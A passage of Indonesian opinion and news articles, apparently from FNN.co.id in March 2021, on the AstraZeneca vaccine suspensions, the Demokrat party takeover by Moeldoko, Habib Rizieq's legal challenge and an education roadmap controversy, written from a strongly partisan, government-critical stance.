by Mochamad Toha Surabaya, FNN - Sebuah media Italia Ilmessaggero.it, Kamis (11 Marzo 2021) memberitakan, Denmark menghentikan penggunaan Vaksin AstraZeneca karena ditemukan kasus serius pembekuan darah pada pasien setelah penyuntikan vaksin AstraZeneca. Diberitakan, Otoritas Kesehatan Nasional Denmark telah menangguhkan pemberian vaksin AstraZeneca sebagai tindakan pencegahan setelah melaporkan beberapa kasus pembekuan darah yang serius. Otoritas Denmark tak mengungkap berapa banyak laporan pembekuan darah yang ada, baik yang ada di Denmark ataupun negara lain. Stockholm hanya menuturkan, laporan ini tidak bisa diremehkan dan harus ditindak dengan serius. Dalam keterangan persnya, Otoritas Kesehatan Nasional Denmark sendiri sedang melakukan penyelidikan pada kasus-kasus ini untuk menetapkan apakah ada kaitannya dengan vaksinasi tersebut. Menurut Direktur Otoritas Kesehatan Nasional, Soren Brostroem, pihaknya berada di tengah-tengah program vaksinasi terbesar dan terpenting dalam sejarah Denmark. Saat ini Otoritas Kesehatan Nasional membutuhkan semua vaksin yang bisa didapatkan. Oleh karena itu, menghentikan sementara salah satu vaksin bukanlah keputusan yang mudah. Tetapi justru karena Denmark memvaksinasi begitu banyak, maka pihaknya juga harus segera merespons ketika menyadari kemungkinan efek samping yang serius. “Kami perlu mengklarifikasi ini sebelum kami bisa terus menggunakan vaksin AstraZeneca,” kata Soren Brostroem. Tak lama setelah Denmark, Norwegia dan Islandia juga menghentikan penggunaan vaksin sebagai tindakan pencegahan hingga ada pemberitahuan lebih lanjut. Siaran pers perusahaan AstraZeneca mengatakan, pihaknya “mengetahui” keputusan pihak berwenang Denmark untuk menangguhkan pemberian vaksin Covid-19, menyusul laporan efek samping obat tersebut. “Keselamatan pasien adalah prioritas tertinggi AstraZeneca. Regulator memiliki standar yang jelas dan ketat mengenai kemanjuran dan keamanan untuk menyetujui obat baru dan ini juga termasuk vaksin Covid-19 dari AstraZeneca,” tulis perusahaan farmasi Anglo-Swedia itu. Perusahaan menyebutkan, keamanan vaksin telah dipelajari secara ekstensif dalam uji klinis Fase III dan data mengkonfirmasi bahwa vaksin secara umum dapat ditoleransi dengan baik. Italia bukan satu-satunya negara yang, menurut informasi yang dirilis European Medicines Agency (EMA, Badan Farmasi Eropa), telah menerima vaksin AstraZeneca batch ABV5300, yang sedang diteliti terkait kematian yang ada di Austria, kasus emboli paru, dan dua laporan tromboembolitik. Sementara evaluasi Komite Ema Prac, yang menangani farmakovigilans menambahkan, badan UE menjelaskan bahwa sebanyak 1 juta dosis tersebut telah menjangkau 17 negara: Austria, Bulgaria, Siprus, Denmark (yang menangguhkan vaksinasi dengan AstraZeneca), Estonia , Prancis, Yunani, Islandia, Irlandia, Latvia, Lituania, Luksemburg, Malta, Belanda, Polandia, Spanyol, dan Swedia. EMA menjelaskan, setelah Austria, 4 negara lain – Estonia, Lithuania, Latvia, Luksemburg – telah menangguhkan batch tunggal ini sebagai tindakan pencegahan, pada tahap penyelidikan sedang dilakukan. Prac akan melanjutkan penilaiannya “dari setiap potensi masalah dengan lot, serta peninjauan peristiwa tromboemboli dan kondisi terkait”. EMA meyakinkan, yang kemarin melaporkan, pandangan pertama dari data oleh Prac tidak menunjukkan masalah spesifik. Dengan lot dan tak ada “indikasi bahwa vaksinasi telah menyebabkan kondisi ini, yang tidak ada sebagai efek samping dari vaksin ini”. Menyusul pelaporan beberapa kejadian merugikan yang serius, bersamaan dengan pemberian dosis milik batch lain (ABV2856) dari vaksin anti Covid-19 AstraZeneca, Badan Obat Italia AIFA telah memutuskan untuk melarang penggunaan lot ini secara nasional. Itu dilakukan sebagai tindakan pencegahan untuk mengeluarkan larangan penggunaan lot ini di seluruh wilayah nasional dan berhak untuk mengambil tindakan lebih lanjut, jika perlu, ini juga dalam koordinasi yang erat dengan EMA, Badan Farmasi Eropa. Untuk saat ini, memang tak ada hubungan sebab akibat antara pemberian vaksin dan kejadian ini. AIFA melakukan semua pemeriksaan yang diperlukan, memperoleh dokumentasi klinis dalam kerjasama erat dengan NAS dan otoritas yang kompeten. Sampel dari lot ini akan dianalisis oleh Istituto Superiore di Sanità. AIFA juga akan segera mengkomunikasikan “informasi baru yang harus tersedia”. Penangguhan batch ini dilakukan setelah terjadi kematian yang mencurigakan. Sebuah kasus yang dicurigai, terkait dengan keputusan AIFA untuk melarang penggunaan dosis batch ABV2856 dari vaksin AstraZeneca di wilayah nasional setelah ada beberapa “kejadian merugikan yang serius”, seperti dilaporkan di Sisilia. Seorang tentara yang bertugas di Augusta (Sr), Stefano Paternò, 43, berasal dari Corleone, tetapi penduduk di Misterbianco (Ct) meninggal Rabu (10/3/2021) pagi karena serangan jantung di rumahnya. Sehari sebelumnya tentara tersebut telah menjalani vaksin dosis pertama dari batch yang sama yang dirujuk AIFA. Dalam kasus ini Jaksa Syracuse telah membuka penyelidikan dan memerintahkan otopsi. Pada hari-hari ini, berita mengkhawatirkan telah beredar di Astrazeneca: seorang perawat tewas di Austria (dan satu lagi dirawat di rumah sakit), dan seorang tentara Italia yang meninggal setelah divaksin. Saat ini tidak ada berita resmi tentang korelasi antara vaksinasi dan kematian. Tapi, masih banyak orang yang mengeluhkan efek samping yang sangat berat akibat dosis Astrazeneca. Menteri Denmark Magnus Heunicke sendiri merinci, di Twitter, bahwa belum jelas apakah masalah ini terkait dengan vaksin. Pihaknya membutuhkan investigasi dan wawasan. Sementara Wina dengan Estonia, Lituania, Latvia, dan Luksemburg, mereka memutuskan untuk menghentikan sebagai langkah antisipasi. Bagaimana dengan Indonesia? Meski terjadi kasus kematian nakes pasca vaksinasi dengan Vaksin Sinovac, pihak Ikatan Dokter Indonesia (IDI) maupun Kementerian Kesehatan (Kemenkes) masih berkutat pada polemik apakah itu termasuk Kejadian Ikutan Pasca Imunisasi (KIPI) atau bukan. Dan bahkan, tidak ada keberanian untuk menunda atau menghentikan sementara vaksinasi selama belum ada hasil investigasi atau penelitian terkait kematian pasca vaksinasi tersebut. Jawaban klasiknya, “Itu cuma sekian persen, masih kecil!” Para pejabat terkait lebih bangga dengan mengatakan, kita bisa “mengamankan” sekian juga vaksin, sementara negara lain masih rebutan. Tanpa pernah menelisik apakah vaksin tersebut aman atau tidak, seperti AstraZeneca yang ternyata “tidak aman”. Bahkan, meski belum pernah uji klinis di Indonesia, dengan mudahnya kita terima begitu saja 1,1 juga dosis Vaksin AstraZeneca yang sudah masuk ke Indonesia. “Hari ini Indonesia menerima pengiriman pertama vaksin AstraZeneca sebesar 1.113.600 vaksin jadi,” ujar Menteri Luar Negeri Retno Marsudi, dalam juma pers disiarkan YouTube Sekretariat Presiden, seperti dilansir Detik.com, Senin (08 Mar 2021 18:12 WIB). Presiden Joko Widodo juga menuturkan jutaan dosis vaksin AstraZeneca segera masuk RI. Menurutnya, Indonesia telah memiliki 38 juta dosis vaksin Covid-19. Tiga juta dosis dalam bentuk sudah jadi dan 35 juta dalam bentuk bahan baku vaksin. “Dan insya’ Allah juga di bulan Maret ini, akan datang lagi vaksin AstraZeneca sebanyak 4,6 juta dosis vaksin jadi,” kata Jokowi dalam video yang disiarkan di YouTube Sekpres, Kamis (4/3/2021). Apakah Indonesia tetap memakai vaksin AstraZeneca meski sebagian negara di Eropa tadi menghentikan vaksinasi karena adanya kematian pasca disuntik Vaksin AstraZeneca? Penulis adalah Wartawan Senior FNN.co.id.

Bola Voli antara Zhu Ting dan Aprilia Manganang (Bagian 2 - habis)

Sebuah kisah yang mengingatkan saya pada yang terjadi di negeri ini, saat ini. Kita semua pasti tahu standar yang harus dimiliki oleh seorang pemimpin negeri. Oleh Rahmi Aries Nova Jakarta, FNN - MENGAPA saya langsung membandingkan sosok Aprilia Manganang dengan Zhu Ting, pemain terbaik dunia? Karena sesungguhnya kita semua tahu sejak awal kemunculan Aprilia 'berbeda'. Kalau saya lihat bukan hanya dari segi postur, tapi cara berjalan, bahkan suara. Karena sekeras apa pun program latihan bola voli yang digelutinya sejak Sekolah Menengah Pertama (SMP) dipastikan tidak akan mengubah perawakan feminin khas perempuan menjadi maskulin. Zhu Ting contohnya. Ia juga berasal dari desa dan dan seperti Aprilia dipaksa bekerja keras sejak kecil. Akan tetapi, hingga saat ini, di usianya 27 ia tetap gemulai, meski statusnya pemain terbaik dunia. Anehnya, meski banyak yang meragukan gender Aprilia, tetapi kabarnya PBVSI (Persatuan Bola Voli Seluruh Indonesia) sebagai induk cabang olahraga selalu mensahkan status Aprilia sesuai dengan data kependudukan yang dimiliki. Bahkan, memberi karpet merah bagi Aprilia ke tim nasional dan diamini oleh KONI (Komite Olahraga Nasional Indonesia) dan KOI (Komite Olimpiade Indonesia). Padahal, seharusnya jika klub tidak bisa melakukan tes menyeluruh, PBVSI lah yang harusnya melakukannya. Kalau perlu mengirim Aprilia tes ke luar negeri, yang peralatannya lebih canggih. Yang saya ingat PBVSI di masa lalu sangat menghindari memakai pemain yang 'meragukan'. Bahkan, untuk pemain wanita yang ternyata ada 'kromosom' laki-lakinya kala itu (era 90an), PBVSI memilih tidak memanggilnya ke tim nasional, tetapi yang bersangkutan tetap bisa bermain di kejuaraan antar klub. Saya juga tak mau menyalahkan siapa pun, terlebih menyalahkan Aprilia, karena semuanya sudah terjadi. Bahkan, saya makin mengerti bahwa ini memang fenomena yang tengah terjadi di negeri ini. Semua mau yang serba instan, hanya mencari kemenangan, urusan fair play tidak penting lagi. Tidak ada cross check, mencari tahu secara detail dan akurat. Aprilia yang secara kasat mata terlihat seperti laki-laki dan akhirnya terbukti memang laki-laki tetap dipuja sebagai pemain perempuan andalan. Diundang talk show di televisi, dicitrakan sebagai pemain idola yang luar biasa. Sebuah kisah yang mengingatkan saya pada yang terjadi di negeri ini, saat ini. Kita semua pasti tahu standar yang harus dimiliki oleh seorang pemimpin negeri. Ada kualitas dan kapasitas yang harus dimiliki dan dipunyai, yang mengacu pada pemimpin-pemimpin terdahulu atau pemimpin negara lain. Akan tetapi, sepertinya kebanyakan kita justru menikmati kepemimpinan di luar alias di bawah standar. Pura-pura tidak melihat, mengingkari realitas. Partai-partai politik, lembaga-lembaga negara, terlebih oligarki memilih memakai kaca mata kuda melihat kejadian demi kejadian di luar nalar bernegara. Mereka tak peduli, yang penting tetap digaji dan difasilitasi di semua lini. Entah sampai kapan mereka akan membutakan matanya, menutup hatinya. Akan tetapi, saya yakin seperti kisah Aprilia, semua akan ada akhirnya, habis masanya. Semoga pada akhirnya semua sadar, karena semua belum terlambat. Semoga!** Penulis, wartawan senior FNN.co.id.

Moeldoko Ambil Alih Paksa Demokrat, Presiden Happy-Happy

YA benar, Anda tidak salah membaca judul editorial FNN kali ini. Pernyataan itu disampaikan oleh Menko Polhukam Mahfud MD ketika ditanya oleh Najwa Shihab. Bagaimana reaksi Presiden Joko Widodo ketika mengetahui orang dekatnya Moeldoko mengambil alih secara paksa partai Demokrat. “Presiden kaget. Tapi tidak (uring-uringan). Presiden happy-happy saja,” ujar Mahfud. Kalau Anda terkejut, dan merasa ada yang salah dengan pernyataan itu, maka yang salah adalah Anda. Karena menggunakan standar akal dan nalar sehat. Sebab, standar yang sudah lama hilang dari kehidupan kita berbangsa dan bernegara, sejak Jokowi menjadi Presiden pada tahun 2014. Dalam standar nalar dan akal sehat, sangat tidak patut seorang kepala negara di sebuah negara demokrasi, bersikap happy-happy, mengetahui ada sebuah partai diambil-alih secara paksa. Apalagi, yang mengambil-alih, mengkudeta dan membegal itu anak buahnya sendiri, Kepala Staf Presiden, Moeldoko. Dengan standar yang sama, seorang Menko Polhukam juga harusnya tidak mungkin mengungkap frasa “Presiden happy-happy,” kepada publik. Mahfud MD harusnya tahu, kata itu menunjukkan, betapa sudah hancur leburnya standar moral dalam kehidupan berbangsa dan bernegara. Kalau toh benar Presiden mengungkap perasaan hatinya dengan frasa itu, adalah kewajiban dari Mahfud MD sebagai Menko Polhukam untuk menyaringnya. Menyampaikannya dengan bahasa yang lebih halus. Lebih diplomatis. Atau bahkan sama sekali tidak perlu diungkap kepada publik. Ucapan itu sama sekali tidak layak muncul dari seorang Presiden. Juga sangat tidak layak disampaikan seorang Menko Polhukam. Akan tetapi, itulah Mahfud MD. Itulah Jokowi. Bagi yang sudah hafal dengan gaya keduanya berkomunikasi, mengurus negara, hal itu sesungguhnya sama sekali tidak mengejutkan. Pengambil-alihan sebuah parpol, akuisisi politik melalui pecah belah, sudah menjadi pola baku bagi pemerintah untuk menundukkan parpol oposisi. Kita bisa menyebut sederet fakta mulai dari perpecahan di tubuh Partai Golkar, PPP, PAN, bahkan sampai partai yang tidak lolos parlemen Partai Berkarya. Hanya modusnya yang berbeda. Relatif lumayan halus. Seolah itu persoalan internal. Masih coba main cantik. Aksi Moeldoko jelas sangat berbeda. Menggunakan terminologi bisnis, ini adalah hostile take over! lebih kasar dibandingkan dengan proses akuisisi. Dia bukan kader Partai Demokrat. Secara resmi dia kader Partai Hanura. Pernah menjabat sebagai Ketua Umum. Jadi, atas dasar apa dia kemudian bisa terpilih menjadi Ketua Umum melalui sebuah Kongres Luar Biasa (KLB)? Tidak perlu kaget kalau para pengurus Partai Demokrat di bawah kepemimpinan Agus Harimurti Yudhoyono menyebutnya secara tidak hormat. KLB Abal-abal. Sementara untuk Moeldoko sebutannya lebih tidak terhormat lagi. “Begal Parpol.” “Pembajak Parpol.” Seorang Kepala Staf Presiden. Jenderal bintang empat. Pernah menjadi Panglima TNI disebut sebagai begal. Presiden pun happy-happy? Kita hanya bisa mengelus dada. Tidak salah kalau Presiden Jokowi kemudian dituduh berada di balik aksi yang sangat kasar dan tidak terhormat itu. Alih-alih mengambil tindakan tegas. Memecat Moeldoko. Presiden malah happy-happy saja. Kerusakan lebih parah seperti apa lagi yang akan terjadi pada negeri ini. Sebagai institusi pers kami ingin menggunakan hak konstitusi kami. Secara kelembagaan FNN dengan tegas menyatakan. “Pak Presiden kami tidak happy dengan kondisi negeri ini.” “Kami tidak happy dengan cara Anda mengelola negara ini.” “Kami tidak happy bahwa ada tanda-tanda yang sangat jelas Anda membahayakan demokrasi dan membawa negara ini ke jurang otoritarianisme.” **

Surat Perintah Penangkapan dan Surat Perintah Penahanan Habib Rizieq Tidak Sah

Jakarta, FNN - Tim Kuasa Hukum Habib Rizieq Shihab, Djudju Purwantoro menegaskan Surat Penangkapan dan Surat Perintah Penahanan atas diri pemohon (Habib Rizieq Shihab), tidak sah menurut hukum. Surat Perintah Penangkapan dan Surat Perintah Penahanan yang didasari 2 (dua) Surat Perintah Penyidikan yang berdiri masing – masing dengan nomor, tanggal dan bulan yang berbeda-beda, padahal tersangkanya sama, yaitu ; Habib Rizieq Shihab. Peristiwa hukum yang sama; Locus Delictie dan Tempus Delictinya sama, yaitu 'berkerumun' di daerah Petamburan, Jakarta Pusat, dalam acara Maulid Nabi Muhammad SAW. Sebelumnya tim kuasa hukum Habib Rizieq Shihab, juga menyatakan penyidik Polda Metro Jaya tidak memiliki dua alat bukti yang sah dalam menangkap dan menahan kliennya atas kasus pelanggaran protokol kesehatan. Hal itu disampaikan Djudju dalam siaran pers yang diterima FNN Jumat (10/3). Tim kuasa hukum HRS menilai tindakan kepolisian tidak sesuai dengan ketentuan Pasal 77 KUHAP jo Putusan Mahkamah Konstitusi Nomor 21/PUU-XII/2014. Di mana dijelaskan, dalam menetapkan seseorang menjadi tersangka, harus ada dua alat bukti yang sah. "Bahwa termohon telah menetapkan Pemohon sebagai tersangka dan bahkan termohon menerbitkan surat perintah penangkapan dan surat penahanan atas diri pemohon, padahal termohon tidak ada/tidak memiliki dua alat bukti yang sah untuk menetapkan Pemohon sebagai tersangka," kata Djudju. Djudju menyatakan kepolisian selaku pihak termohon belum pernah melakukan penyitaan terhadap alat bukti. Djudju juga mengklaim upaya pemanggilan terhadap Rizieq hingga pemeriksaan saksi belum pernah dilakukan oleh termohon. Dalam surat permohonan gugatan praperadilan tersebut, Tim Kuasa Hukum Habib Rizieq menyoroti adanya dua surat perintah penyidikan yang dinilai janggal. Pertama, surat perintah penyidikan dengan nomor SP.sidik/4604/XI/2020/Ditreskrimum tanggal 26 November 2020, dan Surat perintah penyidikan kedua dengan nomor SP.sidik/4735/XII/2020/Ditreskrimum tanggal 9 Desember 2020. "Surat perintah penangkapan Nomor SP.Kap/2502/XII/2020 Ditreskrimum tanggal 12 Desember 2020 atas diri pemohon adalah tidak sah karena mengandung cacat hukum, dan tidak sesuai dengan hukum administrasi yang diatur dalam KUHAP dan juga melanggar peraturan Kepala Kapolri Nomor 6 Tahun 2019, tentang penyidikan tindak pidana," tulis surat tersebut. Sedangkan 2 (dua) Surat Perintah Penyidikan tersebut kata Djudju digunakan sebagai dasar dari Termohon untuk menerbitkan Surat Perintah Penangkapan dan Surat Perintah Penahanan atas diri Pemohon, dalam kasus yang sama. Oleh karenanya mengakibatkan (kausalitas) Surat Perintah Penangkapan dan Surat Perintah Penahanan atas diri Pemohon adalah Cacat Hukum administrasi dan tidak sah menurut hukum, dan sudah sepatutnya dibatalkan. Hal tersebut juga selaras dengan pendapat Ahli, DR. Abdul Chair Ramadhan, SH,MH. yang dinyatakan dalam persidangan Prapud tersebut. Demikian juga ahli menyatakan bahwa Perkara khusus (Lex Specialis) tidak dapat digabungkan sangkaannya dengan Tindak Pidana Umum (lex generalis). Dengan demikian, ketentuan pasal 63 KUHP; tentang Penggabungan Beberapa Perkara Pidana yang diatur dengan peraturan hukum yang berbeda-beda, maka yang dikenakan hanya salah satu peraturan. Ahli berpendapat bahwa apabila ada suatu peristiwa hukum diatur dalam suatu peraturan Pidana Umum, dan juga diatur dalam peraturan Pidana Khusus, maka Pidana yang Khusus itulah yang semestinya diterapkan, sebagimana Pasal 63 Ayat (2) KUHP. Walaupun ancaman hukumannya berbeda- beda, namun yang diterapkan tetap pidana khusus nya. Hal tersebut diperkuat oleh Yurisprudensi Putusan Nomor : 1/ Pid.Pra/2019/PN. PNG. tanggal, 25 Maret 2019, (Pengadilan Negeri Ponorogo). Dalam amar putusannya menyatakan bahwa Surat Perintah Penangkapan dan Surat Perintah Penahanan yang diterbitkan berdasarkan 2 (dua) Surat Perintah Penyidikan adalah Cacat Hukum dan Tidak Sah menurut hukum.; Delik pidana (larangan berkerumunan) tersebut seperti diatur klausulnya dalam Pidana Khusus, yaitu undang- undang tentang Kekarantinaan Kesehatan. Faktanya Termohon (pihak Polri) menyalahi hukum, dengan menahan Pemohon (Habib Rizieq) menggunakan sangkaan Pidana Umum (pasal 160 KUHP). Konsekuensinya, Surat Perintah Penahanan atas nama diri Pemohon mengandung cacat hukum, karena menggabungkan peristiwa pidana khusus dengan pidana umum. Ahli juga berpendapat adalah cacat hukum, Termohon menerbitkan surat perintah penangkapan dan surat perintah penahanan sebelum dilakukannya pemeriksaan (BAP) Termohon oleh Pemohon. Putusan hakim (vonis), akan dilakukan pada Rabu, 17 Maret 2021. (SWS)

Moeldoko Trouble Maker Nasional

By Mochamad Toha Surabaya, FNN - Ada yang menarik dari pernyataan Menteri Hukum dan HAM, Yasonna Laoly. Melansir Terkini.id, Selasa (9 Mar 2021 14:52), Yasonna angkat bicara mengenai perseteruan yang terjadi dalam Partai Demokrat. Yasonna menyampaikan pesan untuk pengurus DPP Partai Demokrat, termasuk Ketua Umum Agus Harimurti Yudhoyono (AHY) dan Majelis Tinggi Susilo Bambang Yudhoyono (SBY) agar tidak asal menuduh pemerintah tanpa dasar. Yasonna mengaku bahwa pemerintah akan mengusut kasus itu dengan cara yang objektif. Oleh karena itu, SBY dan AHY tak perlu memberikan tuduhan yang bukan-bukan terhadap pemerintah. “Ini saya pesan kepada salah seorang pengurus Demokrat kemarin saya pesan, tolong Pak SBY dan AHY jangan tuding-tuding pemerintah begini, pemerintah begini. Tulis saja kita objektif kok. Jangan main serang-serang yang tidak ada dasarnya!” ujar Yasonna. Yasonna juga menegaskan bahwa Kementerian Hukum dan HAM akan bersikap profesional dalam menangani kasus partai bintang mersi tersebut. Pihaknya akan bertindak profesional sesuai ketentuan perundang-undangan yang berlaku. Itu supaya dicatat. Itu saja titik. Ia juga mengatakan bahwa masalah dualisme kepemimpinan Partai Demokrat saat ini masih menjadi permasalahan internal partai itu. Setidaknya, sampai pihak Moeldoko mendaftarkan kepengurusan hasil KLB di Deli Serdang, Sumatra Utara, kepada pemerintah. “Kalau dari segi kami, saat ini kami masih melihat ya masalah itu masih masalah internal Demokrat. Karena kelompok yang dikatakan KLB kan belum ada menyerahkan satu lembar apapun kepada kami,” tutur Yasonna. Ia juga menegaskan, pihaknya akan menilai secara objektif sesuai AD/ART Partai Demokrat. Nanti kalau KLB datang pihaknya akan menilai semuanya sesuai AD/ART Partai Demokrat dan ketentuan perundang-undangan yang berlaku. Itu penting. Setidaknya ada tiga point pernyataan Yasonna yang tidak sesuai dengan fakta di lapangan, yaitu: 1. Masalah dualisme kepempimpinan Partai Demokrat; 2. Yasonna masih menunggu berkas hasil KLB; dan 3. Pengakuan adanya penyelenggaraan KLB. Yang perlu ditegaskan, tidak ada dualisme kepemipinan Partai Demokrat. KLB Moeldoko di Sibolangit itu bodong surodong karena Tidak Memenuhi Kriteria KLB Partai Demokrat, sebagaimana yang tercantum dalam Sipol (Sistem Informasi Partai Politik), yaitu: Dihadiri minimum oleh Setengah dari 514 DPC; Dhadiri minimum oleh Dua Pertiga dari 34 DPD; Dihadiri Ketua Majelis Partai. Yang jelas, semua kriteria dalam Sipol itu tak terpenuhi. Maka jika negara ini adalah benar negara hukum, maka Menkum HAM Yasonna, yang juga ikut mengesahkan dan menandatangani dokumen syarat KLB Partai Demokrat Tidak Bisa mengesahkan hasil KLB bodong surodong tersebut. Sebagai Kepala Staf Presiden (KSP), apalagi pensiunan Jenderal TNI, Moeldoko seharusnya tahu soal itu sebelum terlibat dalam “KLB” yang diisiasi bersama pecatan mantan pengurus Partai Demokrat seperti M. Nazaruddin dan Marzukie Ali itu. Narasi Yasonna jelas memberi angin segar bagi Moeldoko Cs yang sebenarnya tidak pernah tercatat sebagai kader atau anggota Partai Demokrat. Etika politik jelas dilanggar Moeldoko Cs. Padahal, Yasonna juga ikut teken syarat KLB Partai Demokrat. Akhir pekan awal Maret ini menjadi sesuatu yang mengejutkan bagi Partai Demokrat, AHY dan bahkan SBY. Di luar ekspetasi, Moeldoko, mantan KSAD dan Panglima TNI era SBY menjabat Presiden ditetapkan sebagai Ketum Partai Demokrat hasil KLB. KLB yang bisa dikatakan sebagai upaya coup de etat AHY dari kursi Ketum Partai Demokrat seakan menjadi klimaks dari tudingan Partai Demokrat (resmi) bahwa orang-orang yang ada di lingkaran Presiden Joko Widodo ingin mengambil-alih parpol berlambang mercy itu. Meski sempat dibantah, sejak beberapa minggu sebelum KLB dilangsungkan, aroma kudeta itu sudah tercium. Dan KLB plus Ketum Moeldoko ini menjadi penegas bahwa polemik kudeta Partai Demokrat tersebut benar adanya. Ironis, karena Moeldoko seakan menjadi “anak durhaka” dan nyata-nyata mengabaikan jiwa “korsa”. Sama-sama berlatar belakang militer, Moeldoko jelas-jelas menelikung seniornya: SBY, dan juniornya: AHY. Terang saja jika AHY dan SBY mencak-mencak melihat manuver KLB dan Moeldoko ini. Dan atas perilaku dari Moeldoko, Pemerintah yang akan kena getahnya. Terutama Presiden Jokowi. Kali ini Jokowi benar-benar diuji! Maklum saja jika itu terjadi, mengingat Moeldoko saat ini juga menjabat sebagai KSP. Dan pada sisi lain, kisruh ini akan menjadi ujian bagi Pemerintah untuk tetap teguh pada peraturan atau tidak. Jangan terkejut jika pada akhirnya banyak alumni "Lembah Tidar" di Magelang getol melawan. Pasalnya, Presiden Jokowi sebelum mengangkat Moeldoko sudah diperingatkan para alumni Lembah Tidar: Moeldoko berpotensi rusak citra Presiden di penghujung pemerintahan! Namun, Presiden hanya berharap, para alumni Lembah Tidar harus membantu Jokowi. Konon, terkait dengan manuver Moeldoko ini, mereka sudah menyarankan agar Presiden mencopot Moeldoko dari posisinya sebagai KSP. Dengan terbukanya “borok” mantan Panglima TNI yang melakukan kesalahan tersebut, sehingga rakyat Indonesia tahu jika Moeldoko ini trouble maker Nasional. *** Penulis wartawan senior FNN.co id

Mengapa Kemendukbud Hapuskan Frasa Agama di PJPN?

by Pramuhita Aditya Jakarta FNN- Draf Sementara Peta Jalan Pendidikan Nasional (PJPN) 2020-2035 yang dirilis Kementrian Pendidikan dan Kebudayaan (Kemendikbud) menghapus frasa agama. Kebijakan ini sangat mengagetkan dunia pendidikan Indonesia. Frasa agama digantikan dengan akhlak dan budaya. Jika kita tarik ketentuan peraturannya, maka sangat bertolak belakang draf PJPN 2020-2035. Pertanyaannya adalah jika frasa agama dihilangkan, maka apa acuan yang nantinya digunakan oleh Kemendikbud? Ada apa dibalik agenda Kemendikbud tersebut? Mau dibawa kemana dunia pendidikan kita? Apakah dijadikan sekularisasi dunia pendidikan Indonesia? Atau ada rencana besar Kemendukbud dibawah Nadiem Makarim untuk menjauhkan agama dari pendidikan? Luar biasa. Kita dihebohkan dengan draf visi Pendidikan Indonesia 2020-2035 dengan tema besar “membangun rakyat Indonesia untuk menjadi pembelajaran seumur hidup yang unggul, terus berkembang, sejahtera dan berakhlak mulia dengan menumbuhkan nilai-nilai budaya Indonesia dan pancasila”. Apa memang pendidikan selama ini dengan menggunakan frasa agama itu tidak Pancasilais? Jika kita telisik secara mendalam, maka visi ini jelas-jelas sangat bertentangan dengan undang-undang Nomor 20 Tahun 2003 tentang Sistem Pendidikan Nasional, Undang-Undang Dasar 1945 Pasal 31 ayat 3 dan 4 serta Pancasila, sila pertama. Hal ini sungguh ironis. Ternyata Menteri Pendidikan kita tidak memahami peraturan perundang-undangan yang berakitan dengan pendidikan nasional. Waah, gawat. Sekalipun pihak yang mewakili Kementrian Pendidikan telah melakukan klarifikasi terkait hal ini. Namun tidak dapat dipandang remeh masalah yang sudah terjadi. Agama dalam pendidikan merupakan hal yang sangat fundamen yang sangat prinsip di negara. Jika terabaikan sedikit saja, maka bisa saja kita tergelincir ke dalam jurang pendidikan sekuler. Pahami itu baik-baik Mendukbud Nadiem. Kalau lupa, sekeder mengingatkan kalau, Negara Kesatuan Republik Indonesia itu berdasarkan atas Ketuhanan Yang Maha Esa. Dapat diartiakan bahwa segala tindak-tanduk kehidupan berbangsa dan bernegara Indonesia harus dilandasi oleh nilai-nilai keagamaan berdasarkan Ketuhanan Yang Maha Esa. Bukan yang selain itu. Sampai disini, Mendukbud kelihatannya belom paham dan mengerti. Kalau begitu, makan agama yang mana yang dimaksud? Adalah agama yang sah di Indonesia. Agama yang diakui oleh negara. Oleh karena itulah, maka agama-agama di Indonesia disahkan oleh pemerintah dan menjadi legal. Pahami dan mengerti dulu dengan baik dan benar. Jangan sampai bangsa ini menjadi malu, hanya karena Menteri Pendidikan tidak paham tentang apa itu agama-agama di Indonesia. Langkah ini menurut kami termasuk dalam kategori semantic eror. Jika tidak adanya frasa agama pada visi “membangun rakyat Indonesia untuk menjadi pembelajaran seumur hidup yang unggul, terus berkembang, sejahtera dan berakhlak mulia dengan menumbuhkan nilai-nilai budaya Indonesia dan pancasila” maka visi pendidikan nasional 2020-2035 kelak hanya menjadi tafsir bebas. Tergantung pada siapa yang menafsirkan. Kemungkinan pada kejadian frasa agama ditiadakan ini karena beberapa faktor. Pertama, yaitu kealpaan. Sementara yang kedua, adalah kesengajaan. Jika ini kealpaan, maka menjadi sesuatu yang alamiah. Namun untuk setingkat kementrian sangat mustahil bisa terjadi. Sebab tanggung jawab ini tidak dilakoni secara individu melainkan tim dan kelompok. Jika ini kealpaan, maka dapat disempurnakan melalui bekerjasama. Koreksi dapat di lakukan secara perorangan atau tim untuk perbaikan menjadi mutakhir. Namun jika hal ini adalah kesengajaan, apakah tujuan pengarahan pendidikan nasional kepada track yang lain? Wallahu a’lam bihsawab. Bukan tidak mungkin, sebab penguasaan suatu bangsa dapat dilakukan dengan sederhana, yaitu melalui jalur pendidikan, dan upaya ini yang paling strategis. Biasanya klausul-klausul yang disepakati harus sesuai dengan kemauan, kehendak dan kepentingan para pihak dalam membuat perjanjian atau aturan-aturan tertentu? Praktik ini sudah biasa dilakukan. Bukan hal baru dalam praktik membuat ketentuan peraturan dan perundang-undangan. Praktisnya banyak terjadi pada momen-momen politik organisasi. Namun yang sangat penting sebagai sesama anak bangsa, untuk membangun pendidikan Indonesia ke depan, kita harus berprasangka baik (khusnuzon) terhadap pemerintah yang dalam hal ini menjadi tugas dan tanggung jawab Kementeian Pendidikan. Apalagi saat ini Kementerian Pendidikan sangat membuka diri untuk menerima saran, masukan dan kritikan dari masyarakat Indonesia terkait dengan hal tersebut. Keterbukaan ini kita apresiasi demi untuk kemajuan bersama. Penulis adalah Kandidat Calon Ketua Umum PB HMI 2021-2023.

Moeldoko, Bekas Panglima Yang Berubah Jadi Perampok?

by Bambang Tjuk Winarno Madiun FNN - Sebagaiamana sifat orang tua pada umumnya, almarhum kedua orang tua Moeldoko pun tidak mungkin mengajarkan kepada anaknya untuk berbuat kurang ajar. Apalagi sampai membegal terang terangan. Membajak dan merapak barang orang, pasti juga tidak diajarkan. Salah siapa jika dikemudian waktu perilaku Moeldoko menjadi nyleneh? Bahkan saja kurang ajar. Namun jauh menyimpang dari ajaran orang tuanya. Ajaran nenek moyangnya. Sebab dulu, waktu Moeldoko masih kanak-kanak, mustahil mendapat pesan bapak ibunya, “rampaslah sesuatu milik temanmu, curilah barang milik sahabatmu, bunuhlah saudaramu”. Dan seterusnya, itu pasti yang tidak diajarkan. Tentu kedua orang tuanya, Moestaman dan Masfuah, terutama sang ibu, pasti selalu berpesan dengan kata-kata indah kepada Moeldoko, “nak atau moel atau doko, belajarlah dengan yang rajin. Jangan sedetik pun meninggalkan ibadah. Jangan pernah menyakiti hati orang lain. Jangan pernah membuat kacau. Bergaullah dengan orang yang baik. Jangan merampok sesuatu yang nyata-nyata 